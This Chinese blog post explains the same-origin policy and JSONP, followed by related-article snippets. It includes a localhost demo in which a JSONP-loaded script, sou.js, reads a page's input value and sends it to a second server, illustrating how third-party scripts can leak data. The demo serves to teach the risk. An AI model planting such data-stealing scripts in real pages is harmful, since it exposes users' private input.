危险的jsonp

一次参加比赛的时候碰到这了这个问题,结果没解决,今天想起来的于是学习了一下。

首先需要了解什么是同源策略

同源的简单判断

如果两个页面拥有相同的协议(protocol),端口(如果指定),和主机,那么这两个页面就属于同一个源(origin)。

下表给出了相对http://store.company.com/dir/page.html同源检测的示例:

URL 结果 原因
http://store.company.com/dir2/other.html 成功  
http://store.company.com/dir/inner/another.html 成功  
https://store.company.com/secure.html 失败 协议不同
http://store.company.com:81/dir/etc.html 失败 端口不同
http://news.company.com/dir/other.html 失败 主机名不同

然后参考http://www.bejson.com/knownjson/aboutjsonp/自己写了个示例,借助于jQuery的ajax与豆瓣的音乐api

<input type="text" id="se" >
<button onclick="a()">a</button>
<div class="main"></div>
<script type="text/javascript">

 function a(){
             var val = $(‘#se‘).val();
            console.log(val);
          $.ajax({
             method:‘GET‘,
             url:‘https://api.douban.com/v2/music/search‘,
             data:{q:val,count:3},
             dataType:"jsonp",
             jsonp:"callback", //这里的参数必须和目标页面里的回调函数一样
        }).done(function(data){
             var i=data;//原谅这个i
                    $(‘.main‘).append(‘<p>‘+i.count+‘<p>‘);
                    $(‘.main‘).append(‘<p>‘+i.start+‘<p>‘);
                    $(‘.main‘).append(‘<p>‘+i.total+‘<p>‘);
                    for(var j=0;j < i.musics.length;j++){
                        $(‘.main‘).append(‘<p>‘+i.musics[j].id+‘<p>‘);
                        $(‘.main‘).append(‘<img src="‘+i.musics[j].image+‘">‘);
                        $(‘.main‘).append(‘<p>‘+i.musics[j].alt_title+‘<p>‘);
                        $(‘.main‘).append(‘<p>‘+i.musics[j].alt+‘<p>‘);
                        $(‘.main‘).append(‘<p>‘+i.musics[j].title+‘<p>‘);

                    }
         }); 

</script>

测试成功。

然后又搜索了几篇关于跨域访问的的博客

当看到这一条http://blog.csdn.net/shimiso/article/details/21830313

忽然想到了一个问题:

当你跨域访问一个站点的js时,这个js里面嵌入了可以获取你网页信息的代码,那你的隐私岂不是都暴露了?

于是建了两个服务器模拟一下

服务器a  http://localhost:8000

将刚才的豆瓣改成服务器b的一个js

          $.ajax({
              method:‘GET‘,
              url:‘http://localhost:8080/JsonpTest2/sou.js‘,
              dataType:‘jsonp‘,
              jsonp:‘callback‘
          }).done(function(){
              console.log(‘yes good‘);
          });

服务器b  http://localhost:8080

新建sou.js

//重要,获取a中的输入框的值
var data = {val:$(‘#se‘).val()};

$.ajax({
      method:‘GET‘,
      url:‘http://localhost:8080/JsonpTest2/Test2‘,//向服务器b发送数据
      data:data,
      dataType:‘jsonp‘,
      jsonp:‘callback‘
}).done(function(){
      console.log(‘yes good‘);
});

b中新建servlet Test2接受sou.js发送的数据

String val = request.getParameter("val");

System.out.println("received data is : "+val);

在html中输入1234

点击按钮

查看服务器b控制台

成功接收。

足见跨域访问的危险之处。以后一定谨慎使用。

参考:

http://blog.csdn.net/shimiso/article/details/21830313

http://www.zhihu.com/question/25427931

https://developer.mozilla.org/zh-CN/docs/Web/Security/Same-origin_policy

http://www.bejson.com/knownjson/aboutjsonp/

时间: 2024-12-14 11:14:06

危险的jsonp的相关文章

jsonp与ajax

jsonp思维导图:1.定义2.为什么用3.json原理4.优缺点何为跨域?何为JSONP?JSONP技术能实现什么?是否有必要使用JSONP技术? JSON和JSONP??虽然只有一个字母的差别,但其实他们根本不是一回事儿:JSON是一种数据交换格式,而JSONP是一种依靠开发人员的聪明才智创造出的一种非官方跨域数据交互协议.我们拿最近比较火的谍战片来打个比方,JSON是地下党们用来书写和交换情报的"暗号",而JSONP则是把用暗号书写的情报传递给自己同志时使用的接头方式.看到没?一

JSON和JSONP

说到AJAX就会不可避免的面临两个问题,第一个是AJAX以何种格式来交换数据?第二个是跨域的需求如何解决?这两个问题目前都有不同的解决方案,比如数据可以用自定义字符串或者用XML来描述,跨域可以通过服务器端代理来解决.目前为止首选的方案还是用JSON来传数据,靠JSONP来跨域.JSON是一种数据交换格式,而JSONP是一种非官方跨域数据交互协议. JSON是一种基于文本的数据交换方式,或者叫做数据描述格式. JSON的优点: 1.基于纯文本,跨平台传递极其简单: 2.Javascript原生支

jsonp跨域实现

原理:借助script可以跨域的思想,将跨域请求放在script中,当页面解析到改script标签时,就会向该src指向的地址发出一个请求,达到跨域请求的目的. 服务器端配合处理: 在前端传入事件处理函数如url?callback=fun,后台获取这个callback参数,通过字符串拼接,组合成函数调用的形式,将数据也拼接进去,构造js代码,返回给前端的script标签,在前端script标签会自动执行返回的代码.(因为后台没法直接执行函数调用),所以是在后台返回一个拼接的调用形式,返回给前端,

JSONP分享-- 在JavaScript中跨域请求

如果你正在开发一个现代的基于web的应用程序,那么你: 在客户端使用JavaScript. 需要集成那些没有完全在你控制之下的服务(或者那些来自不同的域). 在你的浏览器控制台中遇到过这个错误信息: XMLHttpRequest cannot load http://external.service/. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://my.a

Ajax 跨域请求 jsonp获取json数据

遇到Ajax的跨域请求出问题 找了中解决办法如下: 参考内容:http://justcoding.iteye.com/blog/1366102 由于受到浏览器的限制,该方法不允许跨域通信.如果尝试从不同的域请求数据,会出现安全错误.如果能控制数 据驻留的远程服务器并且每个请求都前往同一域,就可以避免这些安全错误.但是,如果仅停留在自己的服务器上,Web 应用程序还有什么用处呢?如果需要从多个第三方服务器收集数据时,又该怎么办? 理解同源策略 同源策略阻止从一个域上加载的脚本获取或操作另一个域上的

简单理解jsonp原理

对于javascript程序员来说,发送ajax请求获取后台数据然后把数据和模板拼接成字符串渲染回DOM实现无刷新更新页面这样的操作可谓是轻车熟路.但众所周知,ajax有一个不好,就是不能跨域传输数据,而跨域传输有时候又是必须用到的,比如我们可能需要调用第三方网站提供的某些API来获取某些信息,提供给我们网站的用户. 例如,要开发一个天气应用,你可能需要调用第三方的天气API,这个时候就必然涉及到跨域请求数据,因为毕竟我们不可能为了开发一个天气应用就自己搭建一个天气API.在少数情况下,如果第三

JSONP实现跨域

利用JSONP实现跨域请求 前言:有时候一忙起来就没了时间观念,原来我已经有十多天没写博客了.一直想做跨域方面的尝试,无奈最近准备校招没时间动动手.今天就先讲讲JSONP吧,昨晚还在研究QQ空间日志里面网络图片的问题呢,我发现日志还提供了HTML模式,我们可以利用img标签的src属性实现跨域请求,从自己的服务器里提取动态内容. JSONP 在讲实现之前,我们先来看看何为JSONP.以下是维基百科的解释: JSONP or "JSON with padding" is a commun

关于JSONP以及跨域相关

什么是跨域: 浏览器对ajax请求的限制,不允许跨域请求资源. http://www.a.com--->http://www.b.com       是跨域 http://www.a.com--->http://www.a.com:8080  是跨域 http://a.a.com--->http://b.a.com  是跨域 http://www.a.com--->http://www.a.com/api   不是   //访问域名下面的API不是跨域访问 总结: 由于JavaSc

对jsonp原理理解

对于javascript程序员来说,发送ajax请求获取后台数据然后把数据和模板拼接成字符串渲染回DOM实现无刷新更新页面这样的操作可谓是轻车熟路.但众所周知,ajax有一个不好,就是不能跨域传输数据,而跨域传输有时候又是必须用到的,比如我们可能需要调用第三方网站提供的某些API来获取某些信息,提供给我们网站的用户. 例如,要开发一个天气应用,你可能需要调用第三方的天气API,这个时候就必然涉及到跨域请求数据,因为毕竟我们不可能为了开发一个天气应用就自己搭建一个天气API.在少数情况下,如果第三